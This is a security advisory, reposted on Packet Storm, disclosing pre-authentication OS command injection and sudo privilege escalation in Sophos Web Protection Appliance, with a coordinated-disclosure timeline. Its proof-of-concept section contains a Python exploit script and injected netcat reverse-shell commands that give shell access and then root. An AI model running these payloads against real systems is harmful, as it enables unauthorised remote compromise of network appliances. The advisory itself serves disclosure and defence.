exploit the possibilities

Sophos Web Protection Appliance Command Injection

Sophos Web Protection Appliance Command Injection
Posted Sep 7, 2013
Authored by Core Security Technologies, Francisco Falcon | Site coresecurity.com

Core Security Technologies Advisory - Sophos Web Protection Appliance versions 3.7.9 and earlier, 3.8.1, and 3.8.0 suffer from multiple OS command injection vulnerabilities.

tags | exploit, web, vulnerability
advisories | CVE-2013-4983, CVE-2013-4984
MD5 | c9fb5b1637c2dd01fd25290497647bc7

Sophos Web Protection Appliance Command Injection

Change Mirror Download
Core Security - Corelabs Advisory

Sophos Web Protection Appliance Multiple Vulnerabilities

1. *Advisory Information*

Title: Sophos Web Protection Appliance Multiple Vulnerabilities
Advisory ID: CORE-2013-0809
Advisory URL:
Date published: 2013-09-06
Date of last update: 2013-09-06
Vendors contacted: Sophos
Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78], OS command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4983, CVE-2013-4984

3. *Vulnerability Description*

Sophos Web Protection Appliance [1] provides advanced web malware
protection, URL filtering and content control (including scanning of
HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection
Appliance is available both as a hardware appliance and as a VMware
virtual appliance.

Multiple vulnerabilities have been found in Sophos Web Protection
Appliance that could allow an unauthenticated remote attacker to execute
arbitrary OS commands and escalate privileges to gain root permissions
within the appliance. The OS command injection vulnerability can be
exploited by remote unauthenticated attackers that can reach the web
interface of the appliance. The privilege escalation vulnerability
allows an attacker that already gained code execution on the appliance
to escalate privileges from the operating system user 'spiderman' to

4. *Vulnerable Packages*

. Sophos Web Appliance v3.7.9 and earlier.
. Sophos Web Appliance v3.8.0.
. Sophos Web Appliance v3.8.1.
. Other versions may be affected too but they were no checked.

5. *Non-Vulnerable Packages*

. Sophos Web Protection Appliance v3.7.9.1.
. Sophos Web Protection Appliance v3.8.1.1.

6. *Vendor Information, Solutions and Workarounds*

Sophos published release notes and a knowledgebase article acknowledging
the issue and the assistance given by Core Security in tracking it down

7. *Credits*

This vulnerability was discovered and researched by Francisco Falcon
from Core Exploit Writers Team. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team.

8. *Technical Description / Proof of Concept Code*

8.1. *Pre-authentication OS command injection vulnerability*

[CVE-2013-4983] The file '/opt/ui/apache/htdocs/end-user/index.php' can
be accessed by unauthenticated users at
'https://<WPA_server>/end-user/index.php'. It also can be reached
through plain HTTP at 'http://<WPA_server>/index.php', since Apache's
'httpd.conf' configuration file defines a VirtualHost at port 80 having
DocumentRoot '/opt/ui/apache/htdocs/end-user/'. The 'run()' function in
this PHP script obtains the requested controller from its 'c' GET
parameter and calls the appropriate handler.

Available handlers are defined in

class UsrSiteflow extends AbstractSiteFlow {
public function __construct() {
$this->flow = array(
"index" => "UsrBlocked.php",
"blocked" => "UsrBlocked.php",
"invalid_certificate" => "UsrBlocked.php",
"rss" => "UsrRss.php",

That means that, for example, when requesting
'https://<WPA_server>/end-user/index.php?c=blocked', the
'UsrBlocked.php' script will be used to render the page. Looking at the
code in '/opt/ui/apache/htdocs/controllers/UsrBlocked.php':

if(isset($_GET['action'])) {
if($_GET['action'] == 'continue') {
// use sblistpack to allow access
$url = base64_decode($_POST['url']);
$scheme = parse_url($url,PHP_URL_SCHEME);
if($scheme == "https" &&
$this->config->read('wsa_proxy.https_scan') != 'yes') {
$host = parse_url($url,PHP_URL_HOST);
$args['url'] = $scheme . '://' . $host;
} else {
$args['url'] = $url;
if($_POST['args_reason'] == 'filetypewarn') {
$key = $_POST['url'];
$packer = '/opt/ws/bin/ftsblistpack';
$value = $_POST['filetype'];
else {
$key = $_POST['domain'];
$packer = '/opt/ws/bin/sblistpack';
$catParts = explode("|",$_POST['raw_category_id']);
$value = $catParts[0];
if(strlen(trim($_POST['user'])) > 0)
$user = base64_decode($_POST['user_encoded']);
$user = $_POST['client-ip'];
if($user == '-') $user = $_POST['client-ip'];

$key = escapeshellarg($key);
$user = escapeshellarg($user);
$value = escapeshellarg($value);
shell_exec("$packer $key $user $value");

we can see that the Perl script '/opt/ws/bin/sblistpack' will be
executed when the following conditions are met:

1. the 'action' GET parameter is set to 'continue', and
2. the 'args_reason' POST parameter is set to anything different that
Variables whose content is controlled by the user '($key, $user,
$value)' are properly escaped by using 'escapeshellarg()' before calling
'shell_exec()', making the UsrBlocked.php script not vulnerable to OS
command injection at that point. However, the invoked
'/opt/ws/bin/sblistpack' Perl script itself is vulnerable to OS command
injection, because its 'get_referers()' function doesn't escape the
first argument of the script before using it within a string that will
be executed as a command by using backticks:

sub get_referers {
my $domain = shift;

if(! -f $referer_list) {
return ();

# handle multiple google domains (e.g. google.co.uk)
if($domain =~ /^google\./) {
$domain = 'google.com';

my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;
chomp $output;

if($output =~ /'(.*)'$/) {
my $sites = $1;
return split('\|', $sites);
return ();


so, by setting the 'domain' POST parameter to a value like:

http://example.com;/bin/nc -c /bin/bash 4444

an unauthenticated remote attacker can execute arbitrary OS commands on
the Sophos appliance with the privileges of the 'spiderman' operating
system user.

8.1.1. *Proof of Concept*

The following Python script exploits the pre-authentication OS command
injection vulnerability and executes '/bin/nc -c /bin/bash
4444' on a vulnerable Sophos Web Protection Appliance in order to gain a
reverse shell on attacker's machine at

import sys
import httplib

def main():
if len(sys.argv) < 2:
print "Usage: sophos_wpa_command_injection.py <target_ip>"

host = sys.argv[1]
port = 443

headers = {'Host': host,
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0',
'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Content-Type': 'application/x-www-form-urlencoded'

body = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'
body +=
body +=
body += '&raw_category_id=one%7ctwo%7cthree%7cfour'

conn = httplib.HTTPSConnection(host, port)
'/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)

#Don't wait for the server response since it will be blocked by the
spawned shell
print 'Done.'

if __name__ == '__main__':

8.2. *Privilege escalation through local OS command injection vulnerability*

[CVE-2013-4984] The Apache web server within the Sophos appliance runs
under the 'spiderman' user. The '/etc/sudoers' file defines a list of
Bash and Perl scripts that the 'spiderman' user can run with the 'sudo'

spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \
/opt/sophox/bin/sophox-register, \
/opt/sophox/bin/sophox-remote-assist, \
/opt/cma/bin/clear_keys.pl, \

The Perl script '/opt/cma/bin/clear_keys.pl' is vulnerable to OS command
injection, because its 'close_connections()' function:

sub close_connections {
my ($client_ip, $signum, $signame) = @_;

my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;
foreach (@connections) {
if(/ESTABLISHED\s*(\d+)\/sshd/) {
my $conn_pid = $+;
log_info("connection PID: $conn_pid; my PID: $$; my process
tree: " . join(', ', @my_process_tree));
next if (grep {$_ == $conn_pid} @my_process_tree);
log_info("Attempting to stop process '$conn_pid' with
kill $signum, $conn_pid;

doesn't escape the second argument of the script before using it within
a string that will be executed as a command by using backticks. Since it
can be run by the 'spiderman' user with the 'sudo' command, it can be
abused to gain root privileges within the appliance.

The following command can be executed within a compromised Web
Protection Appliance to escalate privileges from 'spiderman' user to
root and gain a reverse root shell on attacker's machine at

$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash 5555;" /fakedir

9. *Report Timeline*

. 2013-08-12:
Core Security Technologies notifies the Sophos team of the vulnerability
and sends a technical report. Publication date is set for Sep 4th, 2013.

. 2013-08-13:
Vendor acknowledges Core Security Technologies's e-mail, confirms the
issues and notifies that they are working on a resolution and a release

. 2013-08-14:
Vendor notifies that they are expecting to release a fixed version in
the first week of September. Vendor also notifies that they are also in
the middle of an extended rollout of a new version of the product and
would like to make this fix available to customers on both the new and
old versions of the product, which increases the amount of testing
involved. Sophos team asks for delay the advisory publication one week
(Sep 11th).

. 2013-08-20:
Core re-schedules the advisory publication for Sep 11th, 2013.

. 2013-09-05:
Vendor notifies that they completed the testing early and the fixed
version of the Web Appliance is scheduled for tomorrow, Friday 6th.
Vendor also notifies that they have published release notes and a
knowledgebase article acknowledging the issues [2][3].

. 2013-09-06:
Advisory CORE-2013-0809 published.

10. *References*


[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx.

11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:

13. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at


RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2016 Packet Storm. All rights reserved.

Security Services
Hosting By